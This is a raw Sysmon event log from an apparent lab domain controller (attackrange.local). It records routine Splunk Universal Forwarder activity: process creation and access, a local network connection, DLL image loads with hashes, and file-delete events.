10341000x800000000000000057004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.265{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000057163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:16.365{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63193-false10.0.1.12-8000- 734700x800000000000000057162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.624{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.624{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.624{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000057159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.452{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=492E1FBB4F13738CBCF0413DB9C941A0,SHA256=7762576A178B2069797F2AE18CABF202E19D076CD3DF6A1336C1CDD8E955EF16,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 23542300x800000000000000057150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3DB5EE23CFD4D95EFFA16EEC6BBE8264,SHA256=56F340718E16B9FC1281E5CB74DC6A9F84A157FD50BA7390980B44CD6AA382A1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CFE1C4E17E1D1F5615297F0AF3058FE9,SHA256=10D614547985C0BFFAB7AB209AE2C14542BF45FE4DACF30C1A77930F30D76DC1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.406{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=AC92BD3FF16EE3E78FAABFC6A8021A79,SHA256=87C41B79888AB0E8689F89CACA0CC0BCB91CA6615D61D5571C17360BF35147DD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000057122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:18.389{7BD73061-751E-613B-B20B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft 